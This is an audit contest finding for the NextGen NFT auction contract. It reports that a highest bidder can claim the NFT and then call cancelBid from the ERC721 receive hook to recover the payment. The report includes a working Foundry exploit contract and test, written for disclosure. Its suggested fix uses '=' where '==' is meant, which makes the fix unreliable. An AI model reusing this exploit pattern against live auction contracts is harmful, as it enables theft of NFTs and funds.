NextGen - 0xsagetony's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 212/243

Findings: 1

Award: $0.00

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124

Vulnerability details

Impact

The claimAuction() function in AuctionDemo.sol is vulnerable to an exploit where an attacker can steal an NFT from the auction without making a legitimate payment. This vulnerability arises due to a lack of proper validation within the cancelBid function. If an attacker calls the claimBid function as the highest bidder with the block.timestamp == getAuctionEndTime(_tokenid) they can receive the NFT once it's transferred to the attacker contract. Since there is no status (auctionClaim[_tokenid]) check within cancelBid(), the attacker can then proceed to call cancelBid(), resulting in a refund of the ether.

This vulnerability can have significant consequences, allowing malicious actors to acquire NFTs without following the intended payment process. It undermines the fairness and security of the auction mechanism, potentially leading to financial losses for legitimate participants and the auction organizer.

Proof of Concept

The POC is written in foundry, you just have to call the following command forge test --mt test_attack -vv

The Attacker's Contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.20; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {console} from "forge-std/Test.sol"; contract AttackAuction { auctionDemo auctiondemo; address owner; constructor(address _auctionAddress) { auctiondemo = auctionDemo(_auctionAddress); owner = msg.sender; } function onERC721Received( address _sender, address _from, uint256 _tokenId, bytes memory _data ) external returns (bytes4 retval) { auctiondemo.cancelBid(10000000002, 3); return AttackAuction.onERC721Received.selector; } receive() external payable {} }

Test File

// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.20; import {IERC721} from "../smart-contracts/IERC721.sol"; import {console, Test} from "forge-std/Test.sol"; import {DemoScript} from "../script/Demo.s.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {AttackAuction} from "../poc/AttackAuction.sol"; contract AuctionDemoTest is Test { auctionDemo private auctiondemo; DemoScript private demoscript; AttackAuction private attackauction; address user1 = makeAddr("user1"); address user2 = makeAddr("user2"); address user3 = makeAddr("user3"); address addr1 = makeAddr("addr1"); address addr2 = makeAddr("addr2"); address attacker = makeAddr("addr3"); function setUp() external { demoscript = new DemoScript(); demoscript.run(); auctiondemo = new auctionDemo( address(demoscript.nextgenmintercontract()), address(demoscript.nextgencore()), address(demoscript.nextgenadmins()) ); vm.prank(attacker); attackauction = new AttackAuction(address(auctiondemo)); vm.deal(user1, 5 ether); vm.deal(user2, 5 ether); vm.deal(user3, 5 ether); vm.deal(address(attackauction), 50 ether); // Create a collection & Set Data string[] memory collectionScripts = new string[](1); collectionScripts[0] = "desc"; vm.startPrank(demoscript.admin()); demoscript.nextgencore().createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "<https://ipfs.io/ipfs/hash/>", "", collectionScripts ); demoscript.nextgencore().createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "<https://ipfs.io/ipfs/hash/>", "", collectionScripts ); // // registerCollectionAdmin demoscript.nextgenadmins().registerCollectionAdmin(1, addr1, true); demoscript.nextgenadmins().registerCollectionAdmin(2, addr2, true); vm.stopPrank(); vm.startPrank(addr1); demoscript.nextgencore().setCollectionData( 1, // _collectionID addr1, // _collectionArtistAddress 2, // _maxCollectionPurchases 50, // _collectionTotalSupply 1000 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); vm.startPrank(addr2); demoscript.nextgencore().setCollectionData( 2, // _collectionID addr1, // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); vm.startPrank(demoscript.admin()); demoscript.nextgencore().addMinterContract( address(demoscript.nextgenmintercontract()) ); // // Set Randomizer Contract demoscript.nextgencore().addRandomizer( 1, address(demoscript.nextgenrandomizernxt()) ); demoscript.nextgencore().addRandomizer( 2, address(demoscript.nextgenrandomizernxt()) ); vm.stopPrank(); // Set Collection Costs and Phases vm.startPrank(addr1); demoscript.nextgenmintercontract().setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 100, // _timePeriod 1, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress ); vm.stopPrank(); vm.startPrank(addr2); demoscript.nextgenmintercontract().setCollectionCosts( 2, // _collectionID 1 ether, // _collectionMintCost 1 eth 0.1 ether, // _collectionEndMintCost 0.1 eth 0.1 ether, // _rate 200, // _timePeriod 2, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress ); vm.stopPrank(); // Set Collection Phases vm.startPrank(addr1); demoscript.nextgenmintercontract().setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); vm.stopPrank(); vm.startPrank(addr2); demoscript.nextgenmintercontract().setCollectionPhases( 2, // _collectionID 1698138500, // _allowlistStartTime 1698138500, // _allowlistEndTime 1698138500, // _publicStartTime 1796931278, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); vm.stopPrank(); // Minting bytes32[] memory merkleroots = new bytes32[](1); merkleroots[ 0 ] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; vm.startPrank(user1); vm.warp(1796931278); demoscript.nextgenmintercontract().mint( 1, // _collectionID 2, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData addr1, // _mintTo merkleroots, // _merkleRoot addr1, // _delegator 2 //_varg0 ); vm.stopPrank(); vm.startPrank(user2); vm.warp(1796931278); demoscript.nextgenmintercontract().mint{value: 1 ether}( 2, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData addr2, // _mintTo merkleroots, // _merkleRoot addr2, // _delegator 2 //_varg0 ); vm.stopPrank(); } function test_attack() external { // the nft is minted vm.startPrank(demoscript.admin()); vm.warp(1706931278); demoscript.nextgenmintercontract().mintAndAuction( addr1, '{"tdh": "100"}', 2, 1, 1786931278 ); vm.stopPrank(); // user1 participate in auction vm.startPrank(user1); vm.warp(1705231278); auctiondemo.participateToAuction{value: 1 ether}(10000000002); vm.stopPrank(); // user2 participate in auction vm.startPrank(user2); vm.warp(1705231278); auctiondemo.participateToAuction{value: 2 ether}(10000000002); vm.stopPrank(); // user3 participate in auction vm.startPrank(user3); vm.warp(1705231278); auctiondemo.participateToAuction{value: 3 ether}(10000000002); vm.stopPrank(); // attacker participate in auction vm.startPrank(address(attackauction)); vm.warp(1705231278); auctiondemo.participateToAuction{value: 6 ether}(10000000002); vm.stopPrank(); // approval the auction to send nft vm.startPrank(addr1); IERC721(address(demoscript.nextgencore())).approve( address(auctiondemo), 10000000002 ); vm.stopPrank(); // claim the nft vm.startPrank(address(attackauction)); vm.warp(1786931278); auctiondemo.claimAuction(10000000002); vm.stopPrank(); assertEq(address(auctiondemo).balance, 0); assertEq(address(attackauction).balance, 50 ether); assertEq( IERC721(address(demoscript.nextgencore())).ownerOf(10000000002), address(attackauction) ); } }

Script File

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; contract DemoScript is Script { DelegationManagementContract public delegationmanagementcontract; randomPool public randompool; NextGenAdmins public nextgenadmins; NextGenCore public nextgencore; NextGenRandomizerNXT public nextgenrandomizernxt; NextGenMinterContract public nextgenmintercontract; address public owner = makeAddr("owner"); address public admin = makeAddr("admin"); function setUp() public {} function run() public { // uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); vm.startBroadcast(); delegationmanagementcontract = new DelegationManagementContract(); randompool = new randomPool(); nextgenadmins = new NextGenAdmins(); nextgencore = new NextGenCore( "Next Gen Core", "NEXTGEN", address(nextgenadmins) ); nextgenrandomizernxt = new NextGenRandomizerNXT( address(randompool), address(nextgenadmins), address(nextgencore) ); nextgenmintercontract = new NextGenMinterContract( address(nextgencore), address(delegationmanagementcontract), address(nextgenadmins) ); // register admins nextgenadmins.registerAdmin(admin, true); // nextgenadmins.registerFunctionAdmin(functionadmin, 0x46372ba6, true); vm.stopBroadcast(); } }

Tools Used

Manual Audit, Foundry, Vscode

This validation should be added to cancelBid()

  • require(auctionClaim[_tokenid] = false);

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-15T07:52:04Z

141345 marked the issue as duplicate of #1172

#1 - c4-pre-sort

2023-11-27T10:54:15Z

141345 marked the issue as not a duplicate

#2 - c4-pre-sort

2023-11-27T10:54:28Z

141345 marked the issue as duplicate of #962

#3 - c4-judge

2023-12-04T21:41:01Z

alex-ppg marked the issue as duplicate of #1323

#4 - c4-judge

2023-12-05T21:17:59Z

alex-ppg marked the issue as satisfactory

#5 - c4-judge

2023-12-08T18:06:40Z

alex-ppg marked the issue as partial-50

#6 - sagetony

2023-12-16T08:25:16Z

Please can I know why my report was marked partial-50

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter